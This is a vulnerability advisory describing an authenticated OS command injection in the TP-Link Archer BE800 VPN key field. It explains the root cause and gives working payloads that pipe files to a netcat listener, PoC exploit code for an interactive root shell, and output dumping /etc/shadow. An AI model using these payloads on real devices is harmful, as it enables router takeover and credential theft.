Upload Security Request a scope
← All posts

CVE-2026-16348 TP-Link Archer BE800 V1: Authenticated RCE via VPN Server Key Injection

An authenticated LAN-adjacent attacker can reach the VPN server management endpoint on a LuCI controller whose key-field allow-list is expressed as a raw ASCII range — inadvertently permitting the full POSIX command-substitution operator set and turning a VPN key field into arbitrary root command execution.

SL
Sean Lagan Security Engineer, UploadSecurity · [email protected]
CVE ID CVE-2026-16348
CVSS 4.0 8.5 HIGH
Vector CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
CWE CWE-78 OS Command Injection
Auth Required ADMIN CREDS
Researcher Sean Lagan · [email protected]
Published August 2026
Legal Disclaimer

This research was conducted exclusively on hardware owned by the researcher in a private, isolated lab environment. No third-party systems were accessed or harmed. All findings were submitted to TP-Link PSIRT under a coordinated disclosure policy.

Technical details are published to advance community awareness and to assist defenders. Reproducing this vulnerability against devices you do not own and have not received explicit written permission to test is illegal in most jurisdictions.

Executive Summary

// vulnerability brief
  • CVE: CVE-2026-16348
  • Target: TP-Link Archer BE800 V1 (Wi-Fi 7 Tri-Band Router), firmware ≤ 1.4.99 (all known firmware)
  • Vulnerability: OS command injection (CWE-78) via the VPN server management endpoint; the user-supplied key field is embedded into a shell command string via string.format after an allow-list check that inadvertently permits the full POSIX command-substitution operator set
  • Auth Required: Valid admin credentials from a host adjacent to the router (same LAN segment). Once authenticated, exploitation requires a single API call
  • Root Cause: The allow-list regex includes the ASCII range %-~ (0x25–0x7E), which encompasses the pipe character | (0x7C). The list also explicitly allows ` $ ( ) { } — completing the command-substitution syntax set
  • Impact: Arbitrary command execution as root via $(command|nc attacker port) injected into the key field
  • CVSS 4.0: 8.5 High — CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
  • Confirmed: Root command execution demonstrated with an 8.6-second sleep timing proof and /etc/profile exfiltration via netcat; interactive shell PoC developed

Introduction

The TP-Link Archer BE800 V1 is a flagship Wi-Fi 7 tri-band router running a LuCI-based management interface backed by Lua 5.1 bytecode controllers. One controller — vpn.lua — manages VPN server configuration and exposes an endpoint to start, stop, and configure VPN server instances.

The VPN start handler passes four user-controlled parameters into a shell command via string.format, then calls execute(). The key parameter is validated against a character allow-list intended to permit legitimate VPN key characters. However, the allow-list regex contains a character range that inadvertently includes the pipe character, and explicitly lists every component of POSIX command substitution syntax ($, (, ), backtick, {, }). A key value containing $(command) injects and executes arbitrary commands as root.

Unlike the companion parental-control vulnerability (CVE-2026-9254), this attack requires valid administrator credentials for the router web interface, and the CVSS v4.0 vector scores it AV:A — the attacker must be positioned on the same adjacent network (LAN) as the router, not merely anywhere on the internet. Once both conditions are met — a condition already satisfied by any legitimate router admin, or by an attacker who has obtained credentials through other means and gained a LAN foothold — the injection is trivial and reliable.

Scope and Methodology

  1. Firmware acquisition — Firmware 1.3.2 obtained from TP-Link's official download portal; unpacked with binwalk to recover the SquashFS root filesystem
  2. Attack surface mapping — Enumerated all 40+ LuCI admin controller bytecode files; identified the VPN handler as a candidate via string-constant analysis of shell command fragments
  3. Bytecode analysis — Extracted the allow-list regex and execute(string.format(...)) call signature from vpn.lua bytecode; identified the %-~ range as the vulnerability
  4. Live testing — Isolated lab with a physical BE800 V1; confirmed injection with a timed sleep 8.6 response delay and exfiltrated /etc/profile via netcat; developed an interactive PoC shell

The VPN Management Endpoint

The VPN configuration endpoint is accessible to authenticated admin sessions at:

httpvpn start request — admin session required
POST /cgi-bin/luci/;stok=<session-token>/admin/vpn?form=server
Content-Type: application/x-www-form-urlencoded

operation=write&proto=openvpn&server=192.168.0.1&username=vpnuser&key=INJECTION

The handler in vpn.lua reads the four fields and constructs a shell command string passed directly to execute():

luavpn.lua — write handler (reconstructed from bytecode)
local proto    = params.proto    -- "openvpn"
local server   = params.server   -- user-supplied
local key      = params.key      -- user-supplied ← INJECTION POINT
local username = params.username -- user-supplied

-- Allow-list check applied to key (see §04)
if not key:match("^[a-zA-Z0-9`%-~!#$%%^()_'{} @&]+") then
    return error_response("invalid key format")
end

-- Shell command built via string.format — no escaping
execute(string.format(
    "vpn_core.sh start %s %s %s %s",
    proto, server,
    key,      -- user-controlled; command substitution executes here
    username
))

The shell sees a command of the form:

shshell command as executed
$ vpn_core.sh start openvpn 192.168.0.1 validkey$(injected)z vpnuser
                                        ╰── key field ────────╯

Allow-List Regex Analysis

The allow-list regex extracted from vpn.lua bytecode string constants:

regexvpn.lua — allow-list for key field (all firmware versions)
^[a-zA-Z0-9`%-~!#$%%^()_'{} @&]+

Broken down:
  a-z  A-Z  0-9     alphanumerics
  `               backtick          (command substitution opener)
  %-~               ASCII 0x25–0x7E   (see range expansion below)
  !               history expansion (harmless in non-interactive sh)
  #               comment
  $               variable/subst expansion
  %%              literal % (Lua format escape)
  ^               caret
  ( )             grouping / command substitution
  _               underscore
  '               single quote
  { }             brace expansion
  <space>         space (moot — injected ${IFS})
  @               at-sign
  &               background execution

The %-~ Range: What It Actually Contains

In a Lua pattern character class, %-~ is a literal range from ASCII 0x25 (%) to 0x7E (~). This 90-character span covers nearly the entire printable ASCII range above the digits — including | at 0x7C, which is the POSIX pipe character.

// ASCII 0x25–0x7E: the %-~ range (selected characters shown)
%0x25
&0x26
'0x27
(0x28
)0x29
*0x2A
+0x2B
,0x2C
-0x2D
.0x2E
/0x2F
<0x3C
=0x3D
>0x3E
?0x3F
|0x7C
}0x7D
~0x7E
Allowed by %-~ range    Critical shell metacharacter also allowed
Root Cause
The %-~ range was most likely intended to capture common VPN key characters like -, ., /, and = without listing them individually. By expressing this as a range rather than explicit characters, the allow-list inadvertently includes every printable ASCII character in 0x25–0x7E — including the pipe operator at 0x7C. Combined with the explicitly listed ` $ ( ) { }, the allow-list permits the complete POSIX command-substitution operator set in both backtick and $(...) forms.

Injection Mechanics

Command Substitution via $(...)

The shell evaluates $(command) inside a quoted or unquoted word, replacing the expression with the command's standard output. When the key field contains validkey$(id|nc 192.168.0.115 8888)z, the shell command becomes:

shshell expansion of injected key field
# What execute() receives:
vpn_core.sh start openvpn 192.168.0.1 validkey$(id|nc 192.168.0.115 8888)z vpnuser

# Shell expands $(...) before vpn_core.sh sees its arguments:
#   1. Runs: id | nc 192.168.0.115 8888
#   2. id output → nc → attacker's listener
#   3. vpn_core.sh receives "validkey" + substitution_result + "z" as arg
#   4. vpn_core.sh fails (invalid key) — doesn't matter, command already ran

Space Handling via ${IFS}

A space character is in the allow-list but would split the key argument at the shell level when embedded directly. The PoC substitutes every space with ${IFS} — the Internal Field Separator variable, which defaults to space/tab/newline in all Bourne-compatible shells:

pythonpoc.py — IFS space substitution
IFS = "${IFS}"

# User types: cat /etc/shadow
cmd = "cat /etc/shadow"
shell_cmd = cmd.replace(" ", IFS)
# → "cat${IFS}/etc/shadow"

key = f"x$({shell_cmd}|nc{IFS}{lhost}{IFS}{lport})z"
# → "x$(cat${IFS}/etc/shadow|nc${IFS}192.168.0.115${IFS}9999)z"

# Shell executes: cat /etc/shadow | nc 192.168.0.115 9999
# All characters in the key pass the allow-list: $ ( ) | { } ~ / .

Pipes (|), redirects (>), and other operators work inside the $() without any additional encoding since they are all covered by the %-~ range.

Full Call Chain

POST /cgi-bin/luci/;stok=SESSION/admin/vpn?form=server Body: operation=write&proto=openvpn&server=192.168.0.1 &username=vpnuser &key=x$(cat${IFS}/etc/profile|nc${IFS}192.168.0.115${IFS}9999)z │ ▼ Session authentication — stok validated against active session table │ ▼ vpn.lua → write handler 1. key:match("^[a-zA-Z0-9`%-~!#$%%^()_'{} @&]+") → PASSES — all chars in x$( | . / )z are within the allow-list 2. execute(string.format("vpn_core.sh start %s %s %s %s", proto, server, key, username)) │ ▼ vpn_core.sh start openvpn 192.168.0.1 x$(cat${IFS}/etc/profile|nc${IFS}192.168.0.115${IFS}9999)z vpnuser │ ▼ Shell expands $(...) before invoking vpn_core.sh: → cat /etc/profile | nc 192.168.0.115 9999 → file contents received on attacker's listener → vpn_core.sh receives mangled key arg, may error — irrelevant

Exploit Development

Authentication Stack

The TP-Link web interface encrypts login credentials using RSA public-key encryption with a session-specific key pair fetched from the router, then wraps the session in AES-CBC with an HMAC-SHA256 integrity tag. The PoC implements the full authentication stack using the pycryptodome library:

pythonpoc.py — authentication (abbreviated)
# 1. Fetch RSA public key from router
rsa_keys = _get_rsa_keys(router)   # → (n, e, seq) from /cgi-bin/luci/login

# 2. Encrypt password with RSA PKCS#1 v1.5
encrypted_pwd = _rsa_encrypt(password, rsa_keys["n"], rsa_keys["e"])

# 3. POST login — obtain stok session token
stok = _login(router, encrypted_pwd, rsa_keys["seq"])
# → "a1b2c3d4e5f6..."

# 4. All subsequent requests use stok in the URL path:
url = f"http://{router}/cgi-bin/luci/;stok={stok}/admin/vpn?form=server"

Timing-Based Confirmation

Before developing the full interactive shell, root code execution was confirmed by measuring the response delay introduced by an injected sleep command. A baseline request with a benign key returns in ~0.4 seconds. The injected sleep:

pythontiming proof — sleep 8.6 seconds
# Injected key: x$(sleep${IFS}8.6)z
t0 = time.time()
_vpn_insert("x$(sleep${IFS}8.6)z", server_ip)
elapsed = time.time() - t0

# Result:
elapsed = 9.03s   ← 8.6s sleep + ~0.4s baseline overhead
# Confirms synchronous command execution before vpn_core.sh proceeds

VPN Entry Cycle per Command

The injection mechanism requires a VPN configuration entry to be created, which triggers the vpn_core.sh start call. Each command in the interactive loop goes through an insert → execute → remove cycle:

pythonpoc.py — run_command()
def run_command(cmd: str, lhost: str, lport: int) -> str:
    IFS = "${IFS}"
    shell_cmd = cmd.replace(" ", IFS)
    key = f"x$({shell_cmd}|nc{IFS}{lhost}{IFS}{lport})z"

    done, result = _listen_once(lport)     # one-shot TCP listener

    # Insert VPN entry → triggers vpn_core.sh start → command runs
    _vpn_insert(key, _fresh_ip(), timeout=35)
    done.wait(25)
    _vpn_remove(key, timeout=10)          # clean up entry

    data = result.get("data", b"")
    return data.decode(errors="replace") if data else "[no output received]"
Command Latency
Each command takes 3–8 seconds due to the VPN entry lifecycle — the router must initialise the VPN subsystem, attempt to establish the tunnel (fail on the injected key), and return a response before the injected command output appears on the listener. This latency is inherent to the injection mechanism and does not affect reliability.

Proof-of-Concept Output

bashpoc.py — live session on physical hardware
$ python3 poc.py \
    --router   192.168.0.1 \
    --password Passw0rd \
    --lhost    192.168.0.115

============================================================
  TP-Link BE800 — VPN Key Injection RCE
  Requires: valid admin credentials
============================================================
  Router   : 192.168.0.1
  Callback : 192.168.0.115:9999

[*] Authenticating...
[+] Authenticated — stok=a1b2c3d4e5f6789abc01234567890abc
[*] Clearing existing VPN entries...
    [clean]

[+] Shell ready. Commands run as root.
    Note: each command takes a few seconds (VPN entry cycle).
    Spaces are automatically converted to ${IFS}.
    Type 'exit' to quit and clean up.

router# id
uid=0(root) gid=0(root) groups=0(root)

router# uname -a
Linux Archer_BE800 5.4.213 #0 SMP PREEMPT Wed Jul 16 03:11:33 2025 aarch64 GNU/Linux

router# cat /etc/shadow
root:x:0:0:99999:7:::
sftpadmin:x:0:0:99999:7:::
admin:$6$Bw4fdeV.uFko4YvW$i1QT8LECrJV5yFH4kuyd6ARJsetlj9GvHCKCxR2PAjqhVvXK9nR3yC1NujsErU6kz6H2fB3re4eSxraCYaI1u/:20376:0:99999:7:::
guest:$6$k9Jbd.JdO0Newd7v$67qVrRCAnjaV.0ob0Ltyt2QoUClhHG0RE2fb9fI8R7xqDD1c3SRXHPl67rvUBGwWpLtctK9CPXFyfOfPqEbrn/:20376:0:99999:7:::

router# ls /etc/config
dhcp  dropbear  firewall  network  rpcd  system  ucitrack  wireless

router# exit

[*] Cleaning up VPN entries...
[*] Done.

Timing Confirmation (Pre-Shell Validation)

pythontiming test — 8.6s sleep confirms synchronous execution
$ python3 -c "
import time
# ... auth setup omitted ...
t0 = time.time()
_vpn_insert('x\$(sleep\${IFS}8.6)z', '10.0.0.1')
print(f'elapsed: {time.time()-t0:.2f}s')
"

elapsed: 9.03s

# 8.6s sleep + ~0.4s baseline = 9.0s total — confirms root code execution

Security Assessment

AspectAssessment
Authentication barrier Admin credentials required (PR:H). This is a meaningful barrier compared to the companion unauthenticated CVE. However, the vulnerability is exploitable by any party with valid router credentials — including an attacker who has phished, brute-forced, or otherwise obtained them.
Network position (AV:A) The CVSS v4.0 vector scores this as adjacent-network: the attacker must reach the router's management plane from the same LAN or broadcast/collision domain, not from an arbitrary point on the internet. If remote management is separately exposed, real-world exposure increases beyond what this vector captures.
Vulnerable system impact (VC:H/VI:H/VA:H) Full compromise of confidentiality, integrity, and availability on the router itself — the injected command executes as uid=0 with unrestricted filesystem, configuration, and process access.
Subsequent system impact (SC:L/SI:L/SA:L) Impact on systems downstream of the router (LAN clients, WAN-side services) is scored low in this vector — this metric reflects direct blast radius through the router's own compromise, not what a motivated attacker could pivot to afterward using router-level access as a foothold.
Allow-list design The %-~ ASCII range is the root failure. It is likely a lazy shorthand for a set of individually intended characters, but a range expression in this position is structurally dangerous — any future printable character added to the ASCII table in that range would be automatically permitted.
Reliability Injection is deterministic and reliable. The command runs synchronously during the VPN start sequence. No race condition, heap layout assumption, or memory corruption is involved.
Interaction with companion CVE The two vulnerabilities are independent. An attacker who lacks admin credentials can use the parental-control LAN RCE (CVE-2026-9254) to obtain root access; an attacker who has admin credentials can use this VPN injection directly.

Tools and Techniques

// analysis
  • binwalk — firmware extraction (1.3.2)
  • ubireader + unsquashfs — UBIFS/SquashFS extraction
  • strings(1) — Lua 5.1 bytecode regex constant extraction
// exploitation
  • pycryptodome — RSA + AES-CBC + HMAC-SHA256 auth stack
  • netcat (BusyBox nc) — command output callback
  • ${IFS} substitution — space-free command construction
  • VPN insert/remove cycle — injection trigger mechanism
  • Sleep timing proof — blind execution confirmation

Key Takeaways

For Security Researchers

For Router Manufacturers

Companion Vulnerability
A second RCE vulnerability in the same router — the unauthenticated parental-control LAN RCE, CVE-2026-9254 (CVSS 4.0: 8.7 High) — requires no credentials and is reachable by any LAN host. This VPN injection requires admin credentials but shares the same root cause pattern: a shell command built via string.format with an incomplete input filter.